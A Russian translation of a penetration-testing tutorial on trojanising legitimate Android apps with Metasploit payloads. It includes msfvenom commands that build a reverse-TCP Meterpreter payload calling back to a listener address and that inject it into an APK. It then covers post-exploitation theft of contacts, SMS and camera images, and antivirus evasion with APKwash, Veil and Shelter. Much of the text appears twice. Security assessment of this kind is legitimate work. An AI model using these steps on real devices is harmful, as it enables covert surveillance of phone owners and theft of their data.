Можно использовать легитимное приложение Android в качестве трояна, чтобы использовать фактическое устройство пользователя. Причины того, почему этот тест важен при каждой оценке безопасности Android, заключается в том, что он позволит тестеру определить, существуют ли определенные защиты вокруг двоичного файла. Если это не так, и приложение может быть троянизировано злоумышленником, клиент должен знать об этом.
Процесс внедрения полезных нагрузок Metasploit в приложения для Android может выполняться как вручную, так и автоматически. В этом посте будет рассмотрен автоматизированный процесс. Однако, если время взаимодействия не является фактором, следует рассмотреть ручной метод.
Генерация полезной нагрузки
Прежде всего необходимо создать полезную нагрузку, которая будет использоваться для взлома мобильного устройства. Metasploit Framework можно использовать для этого действия, поскольку он может создать полезную нагрузку и затем скомпилировать ее в виде APK-файла.
Ручная генерация полезной нагрузки Android
Внедрение полезных данных в APK
Перед внедрением полезной нагрузки, сгенерированной выше, необходимо иметь целевой APK-файл.
Существуют различные общедоступные сценарии, которые могут внедрить полезную нагрузку Metasploit в приложение Android. Однако в определенных сценариях можно также использовать MSFVenom, чтобы автоматически создавать и вводить полезную нагрузку Metasploit.
MSFVenom декомпилирует приложение и попытается определить точку подключения, куда будет вводиться полезная нагрузка. Кроме того, это отравит файл приложения Android Manifest дополнительными разрешениями, которые могут быть использованы для действий после эксплуатации. Вывод можно увидеть ниже:
MSFVenom - Внедрение полезной нагрузки
Для целей данной статьи apkinjector был использован в качестве инструмента для выполнения действий по загрузке полезной нагрузки. Другие сценарии, которые могут быть использованы для выполнения той же работы:
Примечание. Приложение Android, которое использовалось в демонстрационных целях данной статьи, является приложением реального мира, которое по понятным причинам было переименовано в target.apk.
APK-инжектор будет использовать Apktool, чтобы полностью декомпилировать приложение, внедрить полезную нагрузку, а затем снова скомпилировать и подписать его.
APK Инжектор - Расшифровка APK
Затем APK Injector попытается внедрить полезные данные в файл и снова использовать Apktool для компиляции и подписания приложения.
APK Инжектор - Создание инжектированного APK
Слушатель Metasploit должен быть настроен для получения полезной нагрузки:
Metasploit - Обработка полезных нагрузок Android
С того момента, как пользователь установит и откроет измененный APK на своем телефоне, полезная нагрузка будет выполнена и сеанс Meterpreter будет возвращен.
Meterpreter через вредоносный APK
Есть список задач, которые можно выполнить после эксплуатации, например, проверить, рутировано ли устройство, вывести список контактов, получить SMS-сообщения телефона или просто использовать телефон с камерой, чтобы сделать снимок. Все эти действия зависят от разрешений, которые имеет приложение, которое несет полезную нагрузку, которые определены в файле манифеста Android.
Android Пост Эксплуатация
Антивирус
Если на устройстве установлено антивирусное программное обеспечение, то в зависимости от продукта может быть предотвращено выполнение полезной нагрузки на устройстве. Однако с помощью APKwash можно обойти антивирус . Этот сценарий изменит все строки и файловые структуры, чтобы выполнить уклонение, а затем перестроит пакет с использованием apktool.
APK Was
Результаты можно проверить, загрузив окончательный APK на сайт nodistribute.com:
Из списка известных производителей антивирусов только Kaspersky смог обнаружить вредоносный APK, который увеличивает вероятность успешного развертывания вредоносной нагрузки на устройстве. Различные другие инструменты, такие как Veil и Shelter, могут быть использованы для повышения эффективности уклонения от вирусов.
Перевод:
Процесс внедрения полезных нагрузок Metasploit в приложения для Android может выполняться как вручную, так и автоматически. В этом посте будет рассмотрен автоматизированный процесс. Однако, если время взаимодействия не является фактором, следует рассмотреть ручной метод.
Генерация полезной нагрузки
Прежде всего необходимо создать полезную нагрузку, которая будет использоваться для взлома мобильного устройства. Metasploit Framework можно использовать для этого действия, поскольку он может создать полезную нагрузку и затем скомпилировать ее в виде APK-файла.
Код:
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.1.76 LPORT=4444 R > pentestlab.apk
Ручная генерация полезной нагрузки Android
Внедрение полезных данных в APK
Перед внедрением полезной нагрузки, сгенерированной выше, необходимо иметь целевой APK-файл.
Существуют различные общедоступные сценарии, которые могут внедрить полезную нагрузку Metasploit в приложение Android. Однако в определенных сценариях можно также использовать MSFVenom, чтобы автоматически создавать и вводить полезную нагрузку Metasploit.
Код:
root@kali:~# msfvenom -x CameraSample.apk -p android/meterpreter/reverse_tcp
LHOST=192.168.1.76 LPORT=4444 -o CameraSample_backdoored.apk
MSFVenom декомпилирует приложение и попытается определить точку подключения, куда будет вводиться полезная нагрузка. Кроме того, это отравит файл приложения Android Manifest дополнительными разрешениями, которые могут быть использованы для действий после эксплуатации. Вывод можно увидеть ниже:
MSFVenom - Внедрение полезной нагрузки
Для целей данной статьи apkinjector был использован в качестве инструмента для выполнения действий по загрузке полезной нагрузки. Другие сценарии, которые могут быть использованы для выполнения той же работы:
Примечание. Приложение Android, которое использовалось в демонстрационных целях данной статьи, является приложением реального мира, которое по понятным причинам было переименовано в target.apk.
APK-инжектор будет использовать Apktool, чтобы полностью декомпилировать приложение, внедрить полезную нагрузку, а затем снова скомпилировать и подписать его.
APK Инжектор - Расшифровка APK
Затем APK Injector попытается внедрить полезные данные в файл и снова использовать Apktool для компиляции и подписания приложения.
APK Инжектор - Создание инжектированного APK
Слушатель Metasploit должен быть настроен для получения полезной нагрузки:
Metasploit - Обработка полезных нагрузок Android
С того момента, как пользователь установит и откроет измененный APK на своем телефоне, полезная нагрузка будет выполнена и сеанс Meterpreter будет возвращен.
Meterpreter через вредоносный APK
Есть список задач, которые можно выполнить после эксплуатации, например, проверить, рутировано ли устройство, вывести список контактов, получить SMS-сообщения телефона или просто использовать телефон с камерой, чтобы сделать снимок. Все эти действия зависят от разрешений, которые имеет приложение, которое несет полезную нагрузку, которые определены в файле манифеста Android.
Android Пост Эксплуатация
Антивирус
Если на устройстве установлено антивирусное программное обеспечение, то в зависимости от продукта может быть предотвращено выполнение полезной нагрузки на устройстве. Однако с помощью APKwash можно обойти антивирус . Этот сценарий изменит все строки и файловые структуры, чтобы выполнить уклонение, а затем перестроит пакет с использованием apktool.
APK Was
Результаты можно проверить, загрузив окончательный APK на сайт nodistribute.com:
Из списка известных производителей антивирусов только Kaspersky смог обнаружить вредоносный APK, который увеличивает вероятность успешного развертывания вредоносной нагрузки на устройстве. Различные другие инструменты, такие как Veil и Shelter, могут быть использованы для повышения эффективности уклонения от вирусов.
Перевод:
Ссылка скрыта от гостей